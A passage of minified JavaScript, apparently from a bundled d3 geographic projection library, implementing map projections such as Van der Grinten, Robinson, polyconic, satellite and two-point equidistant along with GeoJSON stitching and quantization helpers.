At=S(Je/2);Je-=Ct=(Je-y(Je/2)-ot)/(1-.5/(At*At))}return[2*Ve/(1+S(Je)),Je]};function ko(){return(0,M.Z)(Is).scale(152.63)}var Zo=[[[[-180,0],[-90,90],[0,0]],[[0,0],[90,90],[180,0]]],[[[-180,0],[-90,-90],[0,0]],[[0,0],[90,-90],[180,0]]]];function Jl(){return ji(re(1/0),Zo).rotate([20,0]).scale(152.63)}function ks(Ve,Je){var ot=s(Je),ft=S(Je),Ct=u(Ve);if(Ve===0||P(Je)===i)return[0,Je];if(Je===0)return[Ve,0];if(P(Ve)===i)return[Ve*ft,i*ot];var At=h/(2*Ve)-2*Ve/h,Rt=2*Je/h,ir=(1-Rt*Rt)/(ot-Rt),cr=At*At,Qt=ir*ir,gr=1+cr/Qt,Tr=1+Qt/cr,Br=(At*ot/ir-At/2)/gr,Wr=(Qt*ot/cr+ir/2)/Tr,cn=Br*Br+ft*ft/gr,dn=Wr*Wr-(Qt*ot*ot/cr+ir*ot-1)/Tr;return[i*(Br+I(cn)*Ct),i*(Wr+I(dn<0?0:dn)*u(-Je*At)*Ct)]}ks.invert=function(Ve,Je){Ve/=i,Je/=i;var ot=Ve*Ve,ft=Je*Je,Ct=ot+ft,At=h*h;return[Ve?(Ct-1+I((1-Ct)*(1-Ct)+4*ot))/(2*Ve)*i:0,we(function(Rt){return Ct*(h*s(Rt)-2*Rt)*h+4*Rt*Rt*(Je-s(Rt))+2*h*Rt-At*Je},0)]};function rs(){return(0,M.Z)(ks).scale(127.267)}var xi=1.0148,Ql=.23185,xl=-.14499,_s=.02406,Mu=xi,Su=5*Ql,zs=7*xl,Fs=9*_s,ki=1.790857183;function bl(Ve,Je){var ot=Je*Je;return[Ve,Je*(xi+ot*ot*(Ql+ot*(xl+_s*ot)))]}bl.invert=function(Ve,Je){Je>ki?Je=ki:Je<-ki&&(Je=-ki);var ot=Je,ft;do{var Ct=ot*ot;ot-=ft=(ot*(xi+Ct*Ct*(Ql+Ct*(xl+_s*Ct)))-Je)/(Mu+Ct*Ct*(Su+Ct*(zs+Fs*Ct)))}while(P(ft)>c);return[Ve,ot]};function lf(){return(0,M.Z)(bl).scale(139.319)}function $l(Ve,Je){if(P(Je)<c)return[Ve,0];var ot=y(Je),ft=Ve*s(Je);return[s(ft)/ot,Je+(1-S(ft))/ot]}$l.invert=function(Ve,Je){if(P(Je)<c)return[Ve,0];var ot=Ve*Ve+Je*Je,ft=Je*.5,Ct=10,At;do{var Rt=y(ft),ir=1/S(ft),cr=ot-2*Je*ft+ft*ft;ft-=At=(Rt*cr+2*(ft-Je))/(2+cr*ir*ir+2*(ft-Je)*Rt)}while(P(At)>c&&--Ct>0);return Rt=y(ft),[(P(Je)<P(ft+1/Rt)?C(Ve*Rt):u(Je)*u(Ve)*(x(P(Ve*Rt))+i))/s(ft),ft]};function uf(){return(0,M.Z)($l).scale(103.74)}var wl=e(77338),qs=e(83074);function ql(Ve,Je){var ot=tu(Ve[1],Ve[0]),ft=tu(Je[1],Je[0]),Ct=ru(ot,ft),At=Tl(ot)/Tl(ft);return el([1,0,Ve[0][0],0,1,Ve[0][1]],el([At,0,0,0,At,0],el([S(Ct),s(Ct),0,-s(Ct),S(Ct),0],[1,0,-Je[0][0],0,1,-Je[0][1]])))}function eu(Ve){var Je=1/(Ve[0]*Ve[4]-Ve[1]*Ve[3]);return[Je*Ve[4],-Je*Ve[1],Je*(Ve[1]*Ve[5]-Ve[2]*Ve[4]),-Je*Ve[3],Je*Ve[0],Je*(Ve[2]*Ve[3]-Ve[0]*Ve[5])]}function el(Ve,Je){return[Ve[0]*Je[0]+Ve[1]*Je[3],Ve[0]*Je[1]+Ve[1]*Je[4],Ve[0]*Je[2]+Ve[1]*Je[5]+Ve[2],Ve[3]*Je[0]+Ve[4]*Je[3],Ve[3]*Je[1]+Ve[4]*Je[4],Ve[3]*Je[2]+Ve[4]*Je[5]+Ve[5]]}function tu(Ve,Je){return[Ve[0]-Je[0],Ve[1]-Je[1]]}function Tl(Ve){return I(Ve[0]*Ve[0]+Ve[1]*Ve[1])}function ru(Ve,Je){return L(Ve[0]*Je[1]-Ve[1]*Je[0],Ve[0]*Je[0]+Ve[1]*Je[1])}function ri(Ve,Je,ot){ft(Ve,{transform:null});function ft(Qt,gr){if(Qt.edges=ms(Qt.face),gr.face){var Tr=Qt.shared=Os(Qt.face,gr.face),Br=ql(Tr.map(gr.project),Tr.map(Qt.project));Qt.transform=gr.transform?el(gr.transform,Br):Br;for(var Wr=gr.edges,cn=0,dn=Wr.length;cn<dn;++cn)wo(Tr[0],Wr[cn][1])&&wo(Tr[1],Wr[cn][0])&&(Wr[cn]=Qt),wo(Tr[0],Wr[cn][0])&&wo(Tr[1],Wr[cn][1])&&(Wr[cn]=Qt);for(Wr=Qt.edges,cn=0,dn=Wr.length;cn<dn;++cn)wo(Tr[0],Wr[cn][0])&&wo(Tr[1],Wr[cn][1])&&(Wr[cn]=gr),wo(Tr[0],Wr[cn][1])&&wo(Tr[1],Wr[cn][0])&&(Wr[cn]=gr)}else Qt.transform=gr.transform;return Qt.children&&Qt.children.forEach(function(An){ft(An,Qt)}),Qt}function Ct(Qt,gr){var Tr=Je(Qt,gr),Br=Tr.project([Qt*A,gr*A]),Wr;return(Wr=Tr.transform)?[Wr[0]*Br[0]+Wr[1]*Br[1]+Wr[2],-(Wr[3]*Br[0]+Wr[4]*Br[1]+Wr[5])]:(Br[1]=-Br[1],Br)}nu(Ve)&&(Ct.invert=function(Qt,gr){var Tr=At(Ve,[Qt,-gr]);return Tr&&(Tr[0]*=m,Tr[1]*=m,Tr)});function At(Qt,gr){var Tr=Qt.project.invert,Br=Qt.transform,Wr=gr;if(Br&&(Br=eu(Br),Wr=[Br[0]*Wr[0]+Br[1]*Wr[1]+Br[2],Br[3]*Wr[0]+Br[4]*Wr[1]+Br[5]]),Tr&&Qt===Rt(cn=Tr(Wr)))return cn;for(var cn,dn=Qt.children,An=0,ia=dn&&dn.length;An<ia;++An)if(cn=At(dn[An],gr))return cn}function Rt(Qt){return Je(Qt[0]*m,Qt[1]*m)}var ir=(0,M.Z)(Ct),cr=ir.stream;return ir.stream=function(Qt){var gr=ir.rotate(),Tr=cr(Qt),Br=(ir.rotate([0,0]),cr(Qt));return ir.rotate(gr),Tr.sphere=function(){Br.polygonStart(),Br.lineStart(),Eu(Br,Ve),Br.lineEnd(),Br.polygonEnd()},Tr},ir.angle(ot==null?-30:ot*A)}function Eu(Ve,Je,ot){var ft,Ct=Je.edges,At=Ct.length,Rt,ir={type:"MultiPoint",coordinates:Je.face},cr=Je.face.filter(function(dn){return P(dn[1])!==90}),Qt=(0,wl.Z)({type:"MultiPoint",coordinates:cr}),gr=!1,Tr=-1,Br=Qt[1][0]-Qt[0][0],Wr=Br===180||Br===360?[(Qt[0][0]+Qt[1][0])/2,(Qt[0][1]+Qt[1][1])/2]:(0,Ge.Z)(ir);if(ot)for(;++Tr<At&&Ct[Tr]!==ot;);++Tr;for(var cn=0;cn<At;++cn)Rt=Ct[(cn+Tr)%At],Array.isArray(Rt)?(gr||(Ve.point((ft=(0,qs.Z)(Rt[0],Wr)(c))[0],ft[1]),gr=!0),Ve.point((ft=(0,qs.Z)(Rt[1],Wr)(c))[0],ft[1])):(gr=!1,Rt!==ot&&Eu(Ve,Rt,Je))}function wo(Ve,Je){return Ve&&Je&&Ve[0]===Je[0]&&Ve[1]===Je[1]}function Os(Ve,Je){for(var ot,ft,Ct=Ve.length,At=null,Rt=0;Rt<Ct;++Rt){ot=Ve[Rt];for(var ir=Je.length;--ir>=0;)if(ft=Je[ir],ot[0]===ft[0]&&ot[1]===ft[1]){if(At)return[At,ot];At=ot}}}function ms(Ve){for(var Je=Ve.length,ot=[],ft=Ve[Je-1],Ct=0;Ct<Je;++Ct)ot.push([ft,ft=Ve[Ct]]);return ot}function nu(Ve){return Ve.project.invert||Ve.children&&Ve.children.some(nu)}var wi=e(98936),tl=[[0,90],[-90,0],[0,0],[90,0],[180,0],[0,-90]],to=[[0,2,1],[0,3,2],[5,1,2],[5,2,3],[0,1,4],[0,4,3],[5,4,1],[5,3,4]].map(function(Ve){return Ve.map(function(Je){return tl[Je]})});function Xo(Ve){Ve=Ve||function(ot){var ft=(0,Ge.Z)({type:"MultiPoint",coordinates:ot});return(0,wi.Z)().scale(1).translate([0,0]).rotate([-ft[0],-ft[1]])};var Je=to.map(function(ot){return{face:ot,project:Ve(ot)}});return[-1,0,0,1,0,1,4,5].forEach(function(ot,ft){var Ct=Je[ot];Ct&&(Ct.children||(Ct.children=[])).push(Je[ft])}),ri(Je[0],function(ot,ft){return Je[ot<-h/2?ft<0?6:4:ot<0?ft<0?2:0:ot<h/2?ft<0?3:1:ft<0?7:5]}).angle(-30).scale(101.858).center([0,45])}var jo=2/I(3);function ns(Ve,Je){var ot=Ie(Ve,Je);return[ot[0]*jo,ot[1]]}ns.invert=function(Ve,Je){return Ie.invert(Ve/jo,Je)};function as(Ve){Ve=Ve||function(ot){var ft=(0,Ge.Z)({type:"MultiPoint",coordinates:ot});return(0,M.Z)(ns).translate([0,0]).scale(1).rotate(ft[1]>0?[-ft[0],0]:[180-ft[0],180])};var Je=to.map(function(ot){return{face:ot,project:Ve(ot)}});return[-1,0,0,1,0,1,4,5].forEach(function(ot,ft){var Ct=Je[ot];Ct&&(Ct.children||(Ct.children=[])).push(Je[ft])}),ri(Je[0],function(ot,ft){return Je[ot<-h/2?ft<0?6:4:ot<0?ft<0?2:0:ot<h/2?ft<0?3:1:ft<0?7:5]}).angle(-30).scale(121.906).center([0,48.5904])}function is(Ve){Ve=Ve||function(Rt){var ir=Rt.length===6?(0,Ge.Z)({type:"MultiPoint",coordinates:Rt}):Rt[0];return(0,wi.Z)().scale(1).translate([0,0]).rotate([-ir[0],-ir[1]])};var Je=to.map(function(Rt){for(var ir=Rt.map(nl),cr=ir.length,Qt=ir[cr-1],gr,Tr=[],Br=0;Br<cr;++Br)gr=ir[Br],Tr.push(rl([Qt[0]*.9486832980505138+gr[0]*.31622776601683794,Qt[1]*.9486832980505138+gr[1]*.31622776601683794,Qt[2]*.9486832980505138+gr[2]*.31622776601683794]),rl([gr[0]*.9486832980505138+Qt[0]*.31622776601683794,gr[1]*.9486832980505138+Qt[1]*.31622776601683794,gr[2]*.9486832980505138+Qt[2]*.31622776601683794])),Qt=gr;return Tr}),ot=[],ft=[-1,0,0,1,0,1,4,5];Je.forEach(function(Rt,ir){for(var cr=to[ir],Qt=cr.length,gr=ot[ir]=[],Tr=0;Tr<Qt;++Tr)Je.push([cr[Tr],Rt[(Tr*2+2)%(2*Qt)],Rt[(Tr*2+1)%(2*Qt)]]),ft.push(ir),gr.push(_o(nl(Rt[(Tr*2+2)%(2*Qt)]),nl(Rt[(Tr*2+1)%(2*Qt)])))});var Ct=Je.map(function(Rt){return{project:Ve(Rt),face:Rt}});ft.forEach(function(Rt,ir){var cr=Ct[Rt];cr&&(cr.children||(cr.children=[])).push(Ct[ir])});function At(Rt,ir){var cr=S(ir),Qt=[cr*S(Rt),cr*s(Rt),s(ir)],gr=Rt<-h/2?ir<0?6:4:Rt<0?ir<0?2:0:Rt<h/2?ir<0?3:1:ir<0?7:5,Tr=ot[gr];return Ct[To(Tr[0],Qt)<0?8+3*gr:To(Tr[1],Qt)<0?8+3*gr+1:To(Tr[2],Qt)<0?8+3*gr+2:gr]}return ri(Ct[0],At).angle(-30).scale(110.625).center([0,45])}function To(Ve,Je){for(var ot=0,ft=Ve.length,Ct=0;ot<ft;++ot)Ct+=Ve[ot]*Je[ot];return Ct}function _o(Ve,Je){return[Ve[1]*Je[2]-Ve[2]*Je[1],Ve[2]*Je[0]-Ve[0]*Je[2],Ve[0]*Je[1]-Ve[1]*Je[0]]}function rl(Ve){return[L(Ve[1],Ve[0])*A,C(r(-1,f(1,Ve[2])))*A]}function nl(Ve){var Je=Ve[0]*m,ot=Ve[1]*m,ft=S(ot);return[ft*S(Je),ft*s(Je),s(ot)]}function Al(){}function ff(Ve){if((ot=Ve.length)<4)return!1;for(var Je=0,ot,ft=Ve[ot-1][1]*Ve[0][0]-Ve[ot-1][0]*Ve[0][1];++Je<ot;)ft+=Ve[Je-1][1]*Ve[Je][0]-Ve[Je-1][0]*Ve[Je][1];return ft<=0}function cf(Ve,Je){for(var ot=Je[0],ft=Je[1],Ct=!1,At=0,Rt=Ve.length,ir=Rt-1;At<Rt;ir=At++){var cr=Ve[At],Qt=cr[0],gr=cr[1],Tr=Ve[ir],Br=Tr[0],Wr=Tr[1];gr>ft^Wr>ft&&ot<(Br-Qt)*(ft-gr)/(Wr-gr)+Qt&&(Ct=!Ct)}return Ct}function hf(Ve,Je){var ot=Je.stream,ft;if(!ot)throw new Error("invalid projection");switch(Ve&&Ve.type){case"Feature":ft=Ml;break;case"FeatureCollection":ft=vf;break;default:ft=Bs;break}return ft(Ve,ot)}function vf(Ve,Je){return{type:"FeatureCollection",features:Ve.features.map(function(ot){return Ml(ot,Je)})}}function Ml(Ve,Je){return{type:"Feature",id:Ve.id,properties:Ve.properties,geometry:Bs(Ve.geometry,Je)}}function Cu(Ve,Je){return{type:"GeometryCollection",geometries:Ve.geometries.map(function(ot){return Bs(ot,Je)})}}function Bs(Ve,Je){if(!Ve)return null;if(Ve.type==="GeometryCollection")return Cu(Ve,Je);var ot;switch(Ve.type){case"Point":ot=al;break;case"MultiPoint":ot=al;break;case"LineString":ot=xs;break;case"MultiLineString":ot=xs;break;case"Polygon":ot=il;break;case"MultiPolygon":ot=il;break;case"Sphere":ot=il;break;default:return null}return(0,ba.Z)(Ve,Je(ot)),ot.result()}var Oi=[],ro=[],al={point:function(Ve,Je){Oi.push([Ve,Je])},result:function(){var Ve=Oi.length?Oi.length<2?{type:"Point",coordinates:Oi[0]}:{type:"MultiPoint",coordinates:Oi}:null;return Oi=[],Ve}},xs={lineStart:Al,point:function(Ve,Je){Oi.push([Ve,Je])},lineEnd:function(){Oi.length&&(ro.push(Oi),Oi=[])},result:function(){var Ve=ro.length?ro.length<2?{type:"LineString",coordinates:ro[0]}:{type:"MultiLineString",coordinates:ro}:null;return ro=[],Ve}},il={polygonStart:Al,lineStart:Al,point:function(Ve,Je){Oi.push([Ve,Je])},lineEnd:function(){var Ve=Oi.length;if(Ve){do Oi.push(Oi[0].slice());while(++Ve<4);ro.push(Oi),Oi=[]}},polygonEnd:Al,result:function(){if(!ro.length)return null;var Ve=[],Je=[];return ro.forEach(function(ot){ff(ot)?Ve.push([ot]):Je.push(ot)}),Je.forEach(function(ot){var ft=ot[0];Ve.some(function(Ct){if(cf(Ct[0],ft))return Ct.push(ot),!0})||Ve.push([ot])}),ro=[],Ve.length?Ve.length>1?{type:"MultiPolygon",coordinates:Ve}:{type:"Polygon",coordinates:Ve[0]}:null}};function Sl(Ve){var Je=Ve(i,0)[0]-Ve(-i,0)[0];function ot(ft,Ct){var At=P(ft)<i,Rt=Ve(At?ft:ft>0?ft-h:ft+h,Ct),ir=(Rt[0]-Rt[1])*T,cr=(Rt[0]+Rt[1])*T;if(At)return[ir,cr];var Qt=Je*T,gr=ir>0^cr>0?-1:1;return[gr*ir-u(cr)*Qt,gr*cr-u(ir)*Qt]}return Ve.invert&&(ot.invert=function(ft,Ct){var At=(ft+Ct)*T,Rt=(Ct-ft)*T,ir=P(At)<.5*Je&&P(Rt)<.5*Je;if(!ir){var cr=Je*T,Qt=At>0^Rt>0?-1:1,gr=-Qt*ft+(Rt>0?1:-1)*cr,Tr=-Qt*Ct+(At>0?1:-1)*cr;At=(-gr-Tr)*T,Rt=(gr-Tr)*T}var Br=Ve.invert(At,Rt);return ir||(Br[0]+=At>0?h:-h),Br}),(0,M.Z)(ot).rotate([-90,-90,45]).clipAngle(179.999)}function df(){return Sl(tn).scale(176.423)}function Lu(){return Sl(mr).scale(111.48)}function Pu(Ve,Je){if(!(0<=(Je=+Je)&&Je<=20))throw new Error("invalid digits");function ot(Qt){var gr=Qt.length,Tr=2,Br=new Array(gr);for(Br[0]=+Qt[0].toFixed(Je),Br[1]=+Qt[1].toFixed(Je);Tr<gr;)Br[Tr]=Qt[Tr],++Tr;return Br}function ft(Qt){return Qt.map(ot)}function Ct(Qt){for(var gr=ot(Qt[0]),Tr=[gr],Br=1;Br<Qt.length;Br++){var Wr=ot(Qt[Br]);(Wr.length>2||Wr[0]!=gr[0]||Wr[1]!=gr[1])&&(Tr.push(Wr),gr=Wr)}return Tr.length===1&&Qt.length>1&&Tr.push(ot(Qt[Qt.length-1])),Tr}function At(Qt){return Qt.map(Ct)}function Rt(Qt){if(Qt==null)return Qt;var gr;switch(Qt.type){case"GeometryCollection":gr={type:"GeometryCollection",geometries:Qt.geometries.map(Rt)};break;case"Point":gr={type:"Point",coordinates:ot(Qt.coordinates)};break;case"MultiPoint":gr={type:Qt.type,coordinates:ft(Qt.coordinates)};break;case"LineString":gr={type:Qt.type,coordinates:Ct(Qt.coordinates)};break;case"MultiLineString":case"Polygon":gr={type:Qt.type,coordinates:At(Qt.coordinates)};break;case"MultiPolygon":gr={type:"MultiPolygon",coordinates:Qt.coordinates.map(At)};break;default:return Qt}return Qt.bbox!=null&&(gr.bbox=Qt.bbox),gr}function ir(Qt){var gr={type:"Feature",properties:Qt.properties,geometry:Rt(Qt.geometry)};return Qt.id!=null&&(gr.id=Qt.id),Qt.bbox!=null&&(gr.bbox=Qt.bbox),gr}if(Ve!=null)switch(Ve.type){case"Feature":return ir(Ve);case"FeatureCollection":{var cr={type:"FeatureCollection",features:Ve.features.map(ir)};return Ve.bbox!=null&&(cr.bbox=Ve.bbox),cr}default:return Rt(Ve)}return Ve}function au(Ve){var Je=s(Ve);function ot(ft,Ct){var At=Je?y(ft*Je/2)/Je:ft/2;if(!Ct)return[2*At,-Ve];var Rt=2*o(At*s(Ct)),ir=1/y(Ct);return[s(Rt)*ir,Ct+(1-S(Rt))*ir-Ve]}return ot.invert=function(ft,Ct){if(P(Ct+=Ve)<c)return[Je?2*o(Je*ft/2)/Je:ft,0];var At=ft*ft+Ct*Ct,Rt=0,ir=10,cr;do{var Qt=y(Rt),gr=1/S(Rt),Tr=At-2*Ct*Rt+Rt*Rt;Rt-=cr=(Qt*Tr+2*(Rt-Ct))/(2+Tr*gr*gr+2*(Rt-Ct)*Qt)}while(P(cr)>c&&--ir>0);var Br=ft*(Qt=y(Rt)),Wr=y(P(Ct)<P(Rt+1/Qt)?C(Br)*.5:x(Br)*.5+h/4)/s(Rt);return[Je?2*o(Je*Wr)/Je:2*Wr,Rt]},ot}function os(){return Xe(au).scale(131.215)}var Ti=[[.9986,-.062],[1,0],[.9986,.062],[.9954,.124],[.99,.186],[.9822,.248],[.973,.31],[.96,.372],[.9427,.434],[.9216,.4958],[.8962,.5571],[.8679,.6176],[.835,.6769],[.7986,.7346],[.7597,.7903],[.7186,.8435],[.6732,.8936],[.6213,.9394],[.5722,.9761],[.5322,1]];Ti.forEach(function(Ve){Ve[1]*=1.0144});function zo(Ve,Je){var ot=f(18,P(Je)*36/h),ft=g(ot),Ct=ot-ft,At=(Tr=Ti[ft])[0],Rt=Tr[1],ir=(Tr=Ti[++ft])[0],cr=Tr[1],Qt=(Tr=Ti[f(19,++ft)])[0],gr=Tr[1],Tr;return[Ve*(ir+Ct*(Qt-At)/2+Ct*Ct*(Qt-2*ir+At)/2),(Je>0?i:-i)*(cr+Ct*(gr-Rt)/2+Ct*Ct*(gr-2*cr+Rt)/2)]}zo.invert=function(Ve,Je){var ot=Je/i,ft=ot*90,Ct=f(18,P(ft/5)),At=r(0,g(Ct));do{var Rt=Ti[At][1],ir=Ti[At+1][1],cr=Ti[f(19,At+2)][1],Qt=cr-Rt,gr=cr-2*ir+Rt,Tr=2*(P(ot)-ir)/Qt,Br=gr/Qt,Wr=Tr*(1-Br*Tr*(1-2*Br*Tr));if(Wr>=0||At===1){ft=(Je>=0?5:-5)*(Wr+Ct);var cn=50,dn;do Ct=f(18,P(ft)/5),At=g(Ct),Wr=Ct-At,Rt=Ti[At][1],ir=Ti[At+1][1],cr=Ti[f(19,At+2)][1],ft-=(dn=(Je>=0?i:-i)*(ir+Wr*(cr-Rt)/2+Wr*Wr*(cr-2*ir+Rt)/2)-Je)*A;while(P(dn)>b&&--cn>0);break}}while(--At>=0);var An=Ti[At][0],ia=Ti[At+1][0],ma=Ti[f(19,At+2)][0];return[Ve/(ia+Wr*(ma-An)/2+Wr*Wr*(ma-2*ia+An)/2),ft*m]};function iu(){return(0,M.Z)(zo).scale(152.63)}function Ru(Ve){function Je(ot,ft){var Ct=S(ft),At=(Ve-1)/(Ve-Ct*S(ot));return[At*Ct*s(ot),At*s(ft)]}return Je.invert=function(ot,ft){var Ct=ot*ot+ft*ft,At=I(Ct),Rt=(Ve-I(1-Ct*(Ve+1)/(Ve-1)))/((Ve-1)/At+At/(Ve-1));return[L(ot*Rt,At*I(1-Rt*Rt)),At?C(ft*Rt/At):0]},Je}function bs(Ve,Je){var ot=Ru(Ve);if(!Je)return ot;var ft=S(Je),Ct=s(Je);function At(Rt,ir){var cr=ot(Rt,ir),Qt=cr[1],gr=Qt*Ct/(Ve-1)+ft;return[cr[0]*ft/gr,Qt/gr]}return At.invert=function(Rt,ir){var cr=(Ve-1)/(Ve-1-ir*Ct);return ot.invert(cr*Rt,cr*ir*ft)},At}function El(){var Ve=2,Je=0,ot=(0,M.r)(bs),ft=ot(Ve,Je);return ft.distance=function(Ct){return arguments.length?ot(Ve=+Ct,Je):Ve},ft.tilt=function(Ct){return arguments.length?ot(Ve,Je=Ct*m):Je*A},ft.scale(432.147).clipAngle(x(1/Ve)*A-1e-6)}var Ao=1e-4,Cl=1e4,Ko=-180,Jo=Ko+Ao,ou=180,Ns=ou-Ao,Qa=-90,ws=Qa+Ao,Ll=90,Pl=Ll-Ao;function ss(Ve){return Ve.length>0}function pf(Ve){return Math.floor(Ve*Cl)/Cl}function su(Ve){return Ve===Qa||Ve===Ll?[0,Ve]:[Ko,pf(Ve)]}function Us(Ve){var Je=Ve[0],ot=Ve[1],ft=!1;return Je<=Jo?(Je=Ko,ft=!0):Je>=Ns&&(Je=ou,ft=!0),ot<=ws?(ot=Qa,ft=!0):ot>=Pl&&(ot=Ll,ft=!0),ft?[Je,ot]:Ve}function lu(Ve){return Ve.map(Us)}function Du(Ve,Je,ot){for(var ft=0,Ct=Ve.length;ft<Ct;++ft){var At=Ve[ft].slice();ot.push({index:-1,polygon:Je,ring:At});for(var Rt=0,ir=At.length;Rt<ir;++Rt){var cr=At[Rt],Qt=cr[0],gr=cr[1];if(Qt<=Jo||Qt>=Ns||gr<=ws||gr>=Pl){At[Rt]=Us(cr);for(var Tr=Rt+1;Tr<ir;++Tr){var Br=At[Tr],Wr=Br[0],cn=Br[1];if(Wr>Jo&&Wr<Ns&&cn>ws&&cn<Pl)break}if(Tr===Rt+1)continue;if(Rt){var dn={index:-1,polygon:Je,ring:At.slice(0,Rt+1)};dn.ring[dn.ring.length-1]=su(gr),ot[ot.length-1]=dn}else ot.pop();if(Tr>=ir)break;ot.push({index:-1,polygon:Je,ring:At=At.slice(Tr-1)}),At[0]=su(At[0][1]),Rt=-1,ir=At.length}}}}function Qo(Ve){var Je,ot=Ve.length,ft={},Ct={},At,Rt,ir,cr,Qt;for(Je=0;Je<ot;++Je){if(At=Ve[Je],Rt=At.ring[0],cr=At.ring[At.ring.length-1],Rt[0]===cr[0]&&Rt[1]===cr[1]){At.polygon.push(At.ring),Ve[Je]=null;continue}At.index=Je,ft[Rt]=Ct[cr]=At}for(Je=0;Je<ot;++Je)if(At=Ve[Je],At){if(Rt=At.ring[0],cr=At.ring[At.ring.length-1],ir=Ct[Rt],Qt=ft[cr],delete ft[Rt],delete Ct[cr],Rt[0]===cr[0]&&Rt[1]===cr[1]){At.polygon.push(At.ring);continue}ir?(delete Ct[Rt],delete ft[ir.ring[0]],ir.ring.pop(),Ve[ir.index]=null,At={index:-1,polygon:ir.polygon,ring:ir.ring.concat(At.ring)},ir===Qt?At.polygon.push(At.ring):(At.index=ot++,Ve.push(ft[At.ring[0]]=Ct[At.ring[At.ring.length-1]]=At))):Qt?(delete ft[cr],delete Ct[Qt.ring[Qt.ring.length-1]],At.ring.pop(),At={index:ot++,polygon:Qt.polygon,ring:At.ring.concat(Qt.ring)},Ve[Qt.index]=null,Ve.push(ft[At.ring[0]]=Ct[At.ring[At.ring.length-1]]=At)):(At.ring.push(At.ring[0]),At.polygon.push(At.ring))}}function ls(Ve){var Je={type:"Feature",geometry:Ts(Ve.geometry)};return Ve.id!=null&&(Je.id=Ve.id),Ve.bbox!=null&&(Je.bbox=Ve.bbox),Ve.properties!=null&&(Je.properties=Ve.properties),Je}function Ts(Ve){if(Ve==null)return Ve;var Je,ot,ft,Ct;switch(Ve.type){case"GeometryCollection":Je={type:"GeometryCollection",geometries:Ve.geometries.map(Ts)};break;case"Point":Je={type:"Point",coordinates:Us(Ve.coordinates)};break;case"MultiPoint":case"LineString":Je={type:Ve.type,coordinates:lu(Ve.coordinates)};break;case"MultiLineString":Je={type:"MultiLineString",coordinates:Ve.coordinates.map(lu)};break;case"Polygon":{var At=[];Du(Ve.coordinates,At,ot=[]),Qo(ot),Je={type:"Polygon",coordinates:At};break}case"MultiPolygon":{ot=[],ft=-1,Ct=Ve.coordinates.length;for(var Rt=new Array(Ct);++ft<Ct;)Du(Ve.coordinates[ft],Rt[ft]=[],ot);Qo(ot),Je={type:"MultiPolygon",coordinates:Rt.filter(ss)};break}default:return Ve}return Ve.bbox!=null&&(Je.bbox=Ve.bbox),Je}function As(Ve){if(Ve==null)return Ve;switch(Ve.type){case"Feature":return ls(Ve);case"FeatureCollection":{var Je={type:"FeatureCollection",features:Ve.features.map(ls)};return Ve.bbox!=null&&(Je.bbox=Ve.bbox),Je}default:return Ts(Ve)}}function no(Ve,Je){var ot=y(Je/2),ft=s(v*ot);return[Ve*(.74482-.34588*ft*ft),1.70711*ot]}no.invert=function(Ve,Je){var ot=Je/1.70711,ft=s(v*ot);return[Ve/(.74482-.34588*ft*ft),2*o(ot)]};function lo(){return(0,M.Z)(no).scale(146.153)}function Ms(Ve,Je,ot){var ft=(0,qs.Z)(Je,ot),Ct=ft(.5),At=(0,Le.Z)([-Ct[0],-Ct[1]])(Je),Rt=ft.distance/2,ir=-C(s(At[1]*m)/s(Rt)),cr=[-Ct[0],-Ct[1],-(At[0]>0?h-ir:ir)*A],Qt=(0,M.Z)(Ve(Rt)).rotate(cr),gr=(0,Le.Z)(cr),Tr=Qt.center;return delete Qt.rotate,Qt.center=function(Br){return arguments.length?Tr(gr(Br)):gr.invert(Tr())},Qt.clipAngle(90)}function Iu(Ve){var Je=S(Ve);function ot(ft,Ct){var At=(0,wi.M)(ft,Ct);return At[0]*=Je,At}return ot.invert=function(ft,Ct){return wi.M.invert(ft/Je,Ct)},ot}function Hs(){return Rl([-158,21.5],[-77,39]).clipAngle(60).scale(400)}function Rl(Ve,Je){return Ms(Iu,Ve,Je)}function ku(Ve){if(!(Ve*=2))return ie.N;var Je=-Ve/2,ot=-Je,ft=Ve*Ve,Ct=y(ot),At=.5/s(ot);function Rt(ir,cr){var Qt=x(S(cr)*S(ir-Je)),gr=x(S(cr)*S(ir-ot)),Tr=cr<0?-1:1;return Qt*=Qt,gr*=gr,[(Qt-gr)/(2*Ve),Tr*I(4*ft*gr-(ft-Qt+gr)*(ft-Qt+gr))/(2*Ve)]}return Rt.invert=function(ir,cr){var Qt=cr*cr,gr=S(I(Qt+(Br=ir+Je)*Br)),Tr=S(I(Qt+(Br=ir+ot)*Br)),Br,Wr;return[L(Wr=gr-Tr,Br=(gr+Tr)*Ct),(cr<0?-1:1)*x(I(Br*Br+Wr*Wr)*At)]},Rt}function Mo(){return uu([-158,21.5],[-77,39]).clipAngle(130).scale(122.571)}function uu(Ve,Je){return Ms(ku,Ve,Je)}function us(Ve,Je){if(P(Je)<c)return[Ve,0];var ot=P(Je/i),ft=C(ot);if(P(Ve)<c||P(P(Je)-i)<c)return[0,u(Je)*h*y(ft/2)];var Ct=S(ft),At=P(h/Ve-Ve/h)/2,Rt=At*At,ir=Ct/(ot+Ct-1),cr=ir*(2/ot-1),Qt=cr*cr,gr=Qt+Rt,Tr=ir-Qt,Br=Rt+ir;return[u(Ve)*h*(At*Tr+I(Rt*Tr*Tr-gr*(ir*ir-Qt)))/gr,u(Je)*h*(cr*Br-At*I((Rt+1)*gr-Br*Br))/gr]}us.invert=function(Ve,Je){if(P(Je)<c)return[Ve,0];if(P(Ve)<c)return[0,i*s(2*o(Je/h))];var ot=(Ve/=h)*Ve,ft=(Je/=h)*Je,Ct=ot+ft,At=Ct*Ct,Rt=-P(Je)*(1+Ct),ir=Rt-2*ft+ot,cr=-2*Rt+1+2*ft+At,Qt=ft/cr+(2*ir*ir*ir/(cr*cr*cr)-9*Rt*ir/(cr*cr))/27,gr=(Rt-ir*ir/(3*cr))/cr,Tr=2*I(-gr/3),Br=x(3*Qt/(gr*Tr))/3;return[h*(Ct-1+I(1+2*(ot-ft)+At))/(2*Ve),u(Je)*h*(-Tr*S(Br+h/3)-ir/(3*cr))]};function ol(){return(0,M.Z)(us).scale(79.4183)}function $o(Ve,Je){if(P(Je)<c)return[Ve,0];var ot=P(Je/i),ft=C(ot);if(P(Ve)<c||P(P(Je)-i)<c)return[0,u(Je)*h*y(ft/2)];var Ct=S(ft),At=P(h/Ve-Ve/h)/2,Rt=At*At,ir=Ct*(I(1+Rt)-At*Ct)/(1+Rt*ot*ot);return[u(Ve)*h*ir,u(Je)*h*I(1-ir*(2*At+ir))]}$o.invert=function(Ve,Je){if(!Ve)return[0,i*s(2*o(Je/h))];var 